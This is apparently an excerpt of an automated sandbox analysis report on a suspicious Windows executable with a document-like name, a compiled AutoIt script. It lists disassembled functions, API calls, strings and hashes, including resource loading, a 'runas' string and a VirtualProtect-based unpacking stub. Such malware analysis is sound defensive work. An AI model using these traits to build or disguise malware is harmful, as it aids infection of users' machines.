Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$IconLoadName$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: C:\Users\user\Desktop\DOC092024-0431202229487.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas$"}
API String ID: 4253510256-2293759984
Opcode ID: 2d46e8860e69e6ac36ff18df8a8a3087b92a57e74384365f257cb6ab2f5253b1
Instruction ID: a2f5518a1e3b0d5bfb903a5abef1ae5734da34d1693a103b44446658560ac980
Opcode Fuzzy Hash: 2d46e8860e69e6ac36ff18df8a8a3087b92a57e74384365f257cb6ab2f5253b1
Instruction Fuzzy Hash: CE5127B0644248FBCB10FBA8AC4AFED3B78AB15710F40406BF641A21D2C67D5AC6CB75

Function 0073BDF6 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1ad3d77d7dffca7a1ad5b781f23799e7376c08607e0b526a7853e9854748a5e
Instruction ID: 6189f35c67ea7ab4e342c9281b9144dd8f6271b6a3bb9836bf48d42396eedad6
Opcode Fuzzy Hash: c1ad3d77d7dffca7a1ad5b781f23799e7376c08607e0b526a7853e9854748a5e
Instruction Fuzzy Hash: 0A324E75B02228CFEB258F58DD456E9B7B5FB46310F1841D9E40AE7A42D738AE80CF52

Function 007129C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
timewindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 00712A33
KillTimer.USER32(?,00000001), ref: 00712A5D
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00712A80
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00712A8B
CreatePopupMenu.USER32 ref: 00712A9F
PostQuitMessage.USER32(00000000), ref: 00712AAE

Strings

TaskbarCreated, xrefs: 00712A86

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Timer$ClipboardCreateFormatKillMenuMessageNtdllPopupPostProc_QuitRegisterWindow
String ID: TaskbarCreated
API String ID: 157504867-2362178303
Opcode ID: 2a388a54729f0bbfa653f4a66bb7cad882d7499e5bda543ef7da8b0ef4f5537f
Instruction ID: 365c9a774515ff26d1f9dd47dfd7220f327983979dee02316c99082679e8100f
Opcode Fuzzy Hash: 2a388a54729f0bbfa653f4a66bb7cad882d7499e5bda543ef7da8b0ef4f5537f
Instruction Fuzzy Hash: 5D41F531214245ABDB34BF6C9C09BF93766EF14341F44C126F902921E3EA6D9CE39769

Function 0072E47B Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0072E4A7

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

GetCurrentProcess.KERNEL32(00000000,007ADC28,?,?), ref: 0072E567
GetNativeSystemInfo.KERNEL32(?,007ADC28,?,?), ref: 0072E5BC
FreeLibrary.KERNEL32(00000000,?,?), ref: 0072E5C7
FreeLibrary.KERNEL32(00000000,?,?), ref: 0072E5DA
GetSystemInfo.KERNEL32(?,007ADC28,?,?), ref: 0072E5E4
GetSystemInfo.KERNEL32(?,007ADC28,?,?), ref: 0072E5F0

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion_memmove
String ID:
API String ID: 2717633055-0
Opcode ID: 759e6d198a13a2858eabf986eca2e6668349ee4c19b53682a84971e3ac40e6bc
Instruction ID: a09fae73abcd8a27b0dd6c33dfbc7cd488ae314bc197dedc103522d7f045b654
Opcode Fuzzy Hash: 759e6d198a13a2858eabf986eca2e6668349ee4c19b53682a84971e3ac40e6bc
Instruction Fuzzy Hash: 8361E2B18193D4CFCF15DF68A8C01E97FB46F2A304F2985D9D8449B24BD638C949CB66

Function 007131F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00713202
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000), ref: 00713219
LoadResource.KERNEL32(?,00000000), ref: 007857D7
SizeofResource.KERNEL32(?,00000000), ref: 007857EC
LockResource.KERNEL32(?), ref: 007857FF

Strings

SCRIPT, xrefs: 0071320F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 7c097e17aba5e4f8a7dcb80522aad390eefd05af6755c2d875ca7f6d3bb6676c
Instruction ID: 77d17601519b174f14e375f8ebc460b5b2d8ecf3de40c9263fb48fde8da34232
Opcode Fuzzy Hash: 7c097e17aba5e4f8a7dcb80522aad390eefd05af6755c2d875ca7f6d3bb6676c
Instruction Fuzzy Hash: 1A117970200701BFE721AB69EC48FA77BB9FBC9B51F208029B50287290DB75DD418A60

Function 00751050 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 007510B8
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 007510EE
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 007510FF
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00751181

Strings

DllGetClassObject, xrefs: 007510F4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: a1c88b665c4479a06d040a83f3f95b3b5bbd0ad09f9960f26a5213c72d3dbd34
Instruction ID: 7b481bf5290f73bede3e39300d32469934b7fbca8cbe74a7d719fe0b34ce072f
Opcode Fuzzy Hash: a1c88b665c4479a06d040a83f3f95b3b5bbd0ad09f9960f26a5213c72d3dbd34
Instruction Fuzzy Hash: 63415C71600608EFDB15CF64C884B9A7BAAEF44352F5580ADEE099F205D7F9DD48CBA0

Function 0084B090 Relevance: 7.7, APIs: 5, Instructions: 206librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 0084B1CA
GetProcAddress.KERNEL32(?,00844FF9), ref: 0084B1E8
ExitProcess.KERNEL32(?,00844FF9), ref: 0084B1F9
VirtualProtect.KERNEL32(00710000,00001000,00000004,?,00000000), ref: 0084B247
VirtualProtect.KERNEL32(00710000,00001000), ref: 0084B25C

Memory Dump Source

Source File: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: ac2d34f570266a11e6bf9a573981f59b8a944524944841aae106cf33dc930e73
Instruction ID: 2228dbe49c4b5d97218e85950e098f0f5a64384178270a0a72bf765e9e60da8e
Opcode Fuzzy Hash: ac2d34f570266a11e6bf9a573981f59b8a944524944841aae106cf33dc930e73
Instruction Fuzzy Hash: 4A513572A5475E5BD7218EB8CCD0665B7A4FB52325B280738C6F2C73C5F7A4D80A87A0

Function 0072DD92 Relevance: 4.5, APIs: 3, Instructions: 26fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(0071C848,0071C848), ref: 0072DDA2
FindFirstFileW.KERNEL32(0071C848,?), ref: 00784A83

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: File$AttributesFindFirst
String ID:
API String ID: 4185537391-0
Opcode ID: 2b2a5d6df434d2a9997602d5aa9a0d2840a982809118c2d3c091d37d27584d4f
Instruction ID: 701fa7b8d981af46a5e352e1695771a1ef2074113db5fc7735c333a9f88062b1
Opcode Fuzzy Hash: 2b2a5d6df434d2a9997602d5aa9a0d2840a982809118c2d3c091d37d27584d4f
Instruction Fuzzy Hash: 28E0D832454815678234673CEC0E8E9775C9A05338B104706F975C20F0EBB89D4186DE

Function 0071E1F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 815windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0071E279
timeGetTime.WINMM ref: 0071E51A
TranslateMessage.USER32(?), ref: 0071E646
DispatchMessageW.USER32(?), ref: 0071E651
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0071E664
LockWindowUpdate.USER32(00000000), ref: 0071E697
DestroyWindow.USER32 ref: 0071E6A3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0071E6BD
Sleep.KERNEL32(0000000A), ref: 00785B15
TranslateMessage.USER32(?), ref: 007862AF
DispatchMessageW.USER32(?), ref: 007862BD
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 007862D1

Strings

@TRAY_ID, xrefs: 00785D6E
@GUI_WINHANDLE, xrefs: 00785C05
@GUI_CTRLID, xrefs: 00785BB9
@GUI_CTRLHANDLE, xrefs: 00785C51

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: 67f235f4517e1da3ead89b29968f63014c7d4d150ea59b22d3875c1182d99dd2
Instruction ID: a4e2acd14478dceaff2b9b524477e9bb7e667fd0c03bf646c76b0638ce8db5fc
Opcode Fuzzy Hash: 67f235f4517e1da3ead89b29968f63014c7d4d150ea59b22d3875c1182d99dd2
Instruction Fuzzy Hash: 9662AF70544340DBDB24EF68C899BAA77E5BF44304F14496AFD468B2D2DB7CD888CB62

Function 00746A28 Relevance: 49.6, APIs: 26, Strings: 2, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 00746C73
___createFile.LIBCMT ref: 00746CB4
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00746CDD
__dosmaperr.LIBCMT ref: 00746CE4
GetFileType.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00746CF7
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00746D1A
__dosmaperr.LIBCMT ref: 00746D23
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00746D2C
__set_osfhnd.LIBCMT ref: 00746D5C
__lseeki64_nolock.LIBCMT ref: 00746DC6
__close_nolock.LIBCMT ref: 00746DEC
__chsize_nolock.LIBCMT ref: 00746E1C
__lseeki64_nolock.LIBCMT ref: 00746E2E
__lseeki64_nolock.LIBCMT ref: 00746F26
__lseeki64_nolock.LIBCMT ref: 00746F3B
__close_nolock.LIBCMT ref: 00746F9B

Part of subcall function 0073F84C: CloseHandle.KERNEL32(00000000,007BEEC4,00000000,?,00746DF1,007BEEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0073F89C
Part of subcall function 0073F84C: GetLastError.KERNEL32(?,00746DF1,007BEEC4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0073F8A6
Part of subcall function 0073F84C: __free_osfhnd.LIBCMT ref: 0073F8B3
Part of subcall function 0073F84C: __dosmaperr.LIBCMT ref: 0073F8D5

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

__lseeki64_nolock.LIBCMT ref: 00746FBD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 007470F2
___createFile.LIBCMT ref: 00747111
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0074711E
__dosmaperr.LIBCMT ref: 00747125
__free_osfhnd.LIBCMT ref: 00747145
__invoke_watson.LIBCMT ref: 00747173
__wsopen_helper.LIBCMT ref: 0074718D

Strings

9As, xrefs: 0074705E
@, xrefs: 00746D48

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: 9As$@
API String ID: 3896587723-2553832589
Opcode ID: babd56570702135fa05225d0adff1ca6c73196e8fa1eed13af28d374e79acf83
Instruction ID: c7f8917f0b50448399c38e37e324a55d19eb937607dee72f46c4ed36a623df83
Opcode Fuzzy Hash: babd56570702135fa05225d0adff1ca6c73196e8fa1eed13af28d374e79acf83
Instruction Fuzzy Hash: 50221671E042059BEF299F68DC95BFD7B61EF02324F248229E521AB2E2C73D8D50D752

Function 0073FBBF Relevance: 26.2, APIs: 17, Instructions: 664COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: ce40794c4a4879adc4034c1c97a9eca3a70192e61a6b37528df32c4b7d53c204
Instruction ID: 45da50c4ea742afec993d232959403f8c5d947f405c3a44257d6787a305c3ef2
Opcode Fuzzy Hash: ce40794c4a4879adc4034c1c97a9eca3a70192e61a6b37528df32c4b7d53c204
Instruction Fuzzy Hash: E1325870E04245DFEB218F68C844BBDBBB1AF46350F28816AE9959F293C77C9C41C7A5

Function 007601E4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcscpy.LIBCMT ref: 0076026A
_wcschr.LIBCMT ref: 00760278
_wcscpy.LIBCMT ref: 0076028F
_wcscat.LIBCMT ref: 0076029E
_wcscat.LIBCMT ref: 007602BC
_wcscpy.LIBCMT ref: 007602DD
__wsplitpath.LIBCMT ref: 007603BA
_wcscpy.LIBCMT ref: 007603DF
_wcscpy.LIBCMT ref: 007603F1
_wcscpy.LIBCMT ref: 00760406
_wcscat.LIBCMT ref: 0076041B
_wcscat.LIBCMT ref: 0076042D
_wcscat.LIBCMT ref: 00760442

Part of subcall function 0075C890: _wcscmp.LIBCMT ref: 0075C92A
Part of subcall function 0075C890: __wsplitpath.LIBCMT ref: 0075C96F
Part of subcall function 0075C890: _wcscpy.LIBCMT ref: 0075C982
Part of subcall function 0075C890: _wcscat.LIBCMT ref: 0075C995
Part of subcall function 0075C890: __wsplitpath.LIBCMT ref: 0075C9BA
Part of subcall function 0075C890: _wcscat.LIBCMT ref: 0075C9D0
Part of subcall function 0075C890: _wcscat.LIBCMT ref: 0075C9E3

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00760235

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 2955681530-2806939583
Opcode ID: c7c1c5018eaa96c58865310e25ead7af6a4f70ca8474574f966fcf7cd671dab8
Instruction ID: e558c7f6047f2c28a135e4ffe00149c4e3c803a3dafa5096c95850222be9032f
Opcode Fuzzy Hash: c7c1c5018eaa96c58865310e25ead7af6a4f70ca8474574f966fcf7cd671dab8
Instruction Fuzzy Hash: D2918F71504745EFDB20EF54C859F9BB3E8AF84310F04485DF9469B292EB38EA48CB92

Function 0072E975 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0072EA39
__wsplitpath.LIBCMT ref: 0072EA56

Part of subcall function 0073297D: __wsplitpath_helper.LIBCMT ref: 007329BD

_wcsncat.LIBCMT ref: 0072EA69
__makepath.LIBCMT ref: 0072EA85

Part of subcall function 00732BFF: __wmakepath_s.LIBCMT ref: 00732C13

Part of subcall function 0073010A: std::exception::exception.LIBCMT ref: 0073013E
Part of subcall function 0073010A: __CxxThrowException@8.LIBCMT ref: 00730153

_wcscpy.LIBCMT ref: 0072EABE

Part of subcall function 0072EB05: RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,0072EADA,?,?), ref: 0072EB27

_wcscat.LIBCMT ref: 007832FC
_wcscat.LIBCMT ref: 00783334
_wcsncpy.LIBCMT ref: 00783370

Strings

\, xrefs: 00783321
'/u, xrefs: 0072E9FC
"}, xrefs: 0072EAEB
Include, xrefs: 0072EA63

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscat$Exception@8FileModuleNameOpenThrow__makepath__wmakepath_s__wsplitpath__wsplitpath_helper_wcscpy_wcsncat_wcsncpystd::exception::exception
String ID: '/u$Include$\$"}
API String ID: 1213536620-3302818544
Opcode ID: 5d3619d4134598dbd80db964f87edfc8b883ce6e4244ac9c7c4863ee6bba4032
Instruction ID: 600756bfec79941fad4945e3ae77a038b3f1b1195105e6c19180f9ad6646bcdf
Opcode Fuzzy Hash: 5d3619d4134598dbd80db964f87edfc8b883ce6e4244ac9c7c4863ee6bba4032
Instruction Fuzzy Hash: 5F515EB1406340DBC315EF69EC85C96B7F8FB69300B80852FF54593262EB7C9646CB6A

Function 00714257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DOC092024-0431202229487.exe,00000104,?,00000000,00000001,00000000), ref: 0071428C

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

Part of subcall function 00731BC7: __wcsicmp_l.LIBCMT ref: 00731C50

_wcscpy.LIBCMT ref: 007143C0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DOC092024-0431202229487.exe,00000104,?,?,?,?,00000000,CMDLINE,?,?,00000100,00000000,CMDLINE,?,?), ref: 0078214E

Strings

/AutoIt3ExecuteScript, xrefs: 0071438A
CMDLINERAW, xrefs: 007142AD
/ErrorStdOut, xrefs: 0071434B
CMDLINE, xrefs: 007142DA, 007142DF, 0071430D
/AutoIt3OutputDebug, xrefs: 00714360
/AutoIt3ExecuteLine, xrefs: 00714375
C:\Users\user\Desktop\DOC092024-0431202229487.exe, xrefs: 00714283, 00714288, 00714292, 007143BB, 007143D9, 0078213B, 00782192

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

